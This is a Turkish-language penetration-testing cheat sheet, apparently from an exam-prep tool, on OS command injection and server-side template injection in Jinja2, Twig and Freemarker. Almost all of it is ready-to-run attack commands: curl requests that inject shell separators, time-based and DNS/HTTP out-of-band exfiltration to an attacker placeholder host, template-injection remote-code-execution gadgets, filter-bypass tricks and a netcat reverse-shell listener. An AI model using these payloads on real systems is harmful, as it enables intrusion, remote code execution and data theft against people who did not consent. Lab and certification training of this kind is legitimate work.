FOOTHOLD Metodoloji Cheat-sheet
Exploit ✓ EXAM-SAFE orta :80:443:8080:5000

OS Command Injection ve SSTI — Jinja2/Twig/Freemarker RCE

OS komut enjeksiyonu ayraçları (; | && $() ``), kör (blind) ve OOB tespit (sleep/DNS/HTTP), ve Server-Side Template Injection: Jinja2/Twig/Freemarker polyglot tespiti ile RCE payload'ları.

Bilgi: ÖN KOŞULLAR
  • Kullanıcı girdisinin bir komuta veya şablona doğrudan beslendiğine dair belirti
┌──

Komutlar

curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1;id'
Komut ayracı ';' ile ikinci komutu zincirleme — doğrudan çıktı görünüyorsa in-band injection. HackTricks — Command Injection
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1%7Cid' -G
Pipe '|' (%7C) ile komut enjeksiyonu — ilk komutun çıktısı ikinciye yönlenir. PayloadsAllTheThings — Command Injection
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/api?host=$(id)' --data-urlencode 'host=127.0.0.1 $(id)'
Komut ikamesi $() ve `` ile enjeksiyon — boşluk filtreliyse ${IFS} kullanılır. HackTricks — Command Injection (substitution)
curl ✓ EXAM-SAFE
curl -s -w '%{time_total}\n' 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1;sleep+5'
Blind command injection: çıktı yoksa 'sleep 5' ile yanıt gecikmesini ölçerek doğrulama. PortSwigger — OS command injection (blind, time)
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1;nslookup+$(whoami).{{LHOST}}'
OOB blind: DNS/HTTP exfiltration ile komut çıktısını dışarı sızdırma (kendi listener'ında yakala). PortSwigger — Blind OS command injection (OOB)
curl ✓ EXAM-SAFE
curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode 'name=${7*7}' --data-urlencode 'name2={{7*7}}'
SSTI polyglot tespiti: ${7*7} ve {{7*7}} gönderip yanıtta 49 aranır — hangisi render olursa motor belirlenir. PayloadsAllTheThings — Server Side Template Injection (detection)
curl ✓ EXAM-SAFE
curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
Jinja2 (Flask/Python) RCE — config nesnesi üzerinden os.popen ile komut çalıştırma. HackTricks — SSTI (Jinja2 RCE)
curl ✓ EXAM-SAFE
curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name={{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}"
Jinja2 alternatif RCE gadget'ı — config erişimi kapalıysa cycler üzerinden globals'a ulaşma. PayloadsAllTheThings — SSTI (Jinja2 alternatives)
curl ✓ EXAM-SAFE
curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name={{['id']|filter('system')}}"
Twig (PHP) RCE — filter('system') ile komut çalıştırma. HackTricks — SSTI (Twig RCE)
curl ✓ EXAM-SAFE
curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}"
Freemarker (Java) RCE — Execute utility ile komut çalıştırma. PayloadsAllTheThings — SSTI (Freemarker)
bash ✓ EXAM-SAFE
nc -lvnp {{LPORT}}
Komut/SSTI enjeksiyonundan reverse shell tetiklemeden önce listener açma. HackTricks — Reverse Shell Cheatsheet

OS Command Injection

Kullanıcı girdisi (ping, nslookup, dosya adı, vb.) shell’e besleniyorsa enjeksiyon olur. Ayraçlar: ; (sıralı), | ve ||, & ve &&, satır başı %0a, komut ikamesi $(...) ve `...`. Çıktı doğrudan dönüyorsa in-band’dir.

Blind ve OOB

Çıktı görünmüyorsa:

  • Time-based: ;sleep 5 enjekte edilip yanıt gecikmesi ölçülür (curl -w '%{time_total}').
  • OOB: nslookup $(whoami).{{LHOST}} veya curl http://{{LHOST}}/$(id) ile DNS/HTTP üzerinden veri sızdırılır; kendi listener’ında (tcpdump/responder/python http.server) yakalanır.

Filtre Atlatma

Boşluk engelliyse ${IFS}, <, {cmd,arg} brace expansion kullanılır. Anahtar kelime filtresine karşı w''hoami, wh\oami, $@ araya sokma teknikleri uygulanır.

SSTI Tespiti

Matematiksel polyglot ${7*7}{{7*7}} gönderilir. Yanıtta:

  • 49 (çift süslü render) -> Jinja2/Twig/Nunjucks ailesi.
  • 49 (dolar-süslü render) -> Freemarker/Velocity/Smarty ailesi. Motoru kesinleştirmek için motora özgü testler ({{7*'7'}} Jinja2’de 7777777, Twig’de 49) yapılır.

SSTI’dan RCE’ye

  • Jinja2 (Python/Flask): config.__class__.__init__.__globals__['os'].popen('id').read() veya cycler/lipsum gadget’ları. Sandbox varsa alternatif gadget zincirleri denenir.
  • Twig (PHP): {{['id']|filter('system')}} veya _self.env.registerUndefinedFilterCallback('system').
  • Freemarker (Java): freemarker.template.utility.Execute ile.

Notlar

RCE doğrulanınca hemen reverse shell’e geçilir (listener önce açılmalı), ardından TTY upgrade yapılır (bkz. shell-upgrade). OOB testlerinde kendi IP’n {{LHOST}} placeholder’ı ile tutulur; gerçek IP asla gömülmez.

┌──

Kaynaklar

0/15 set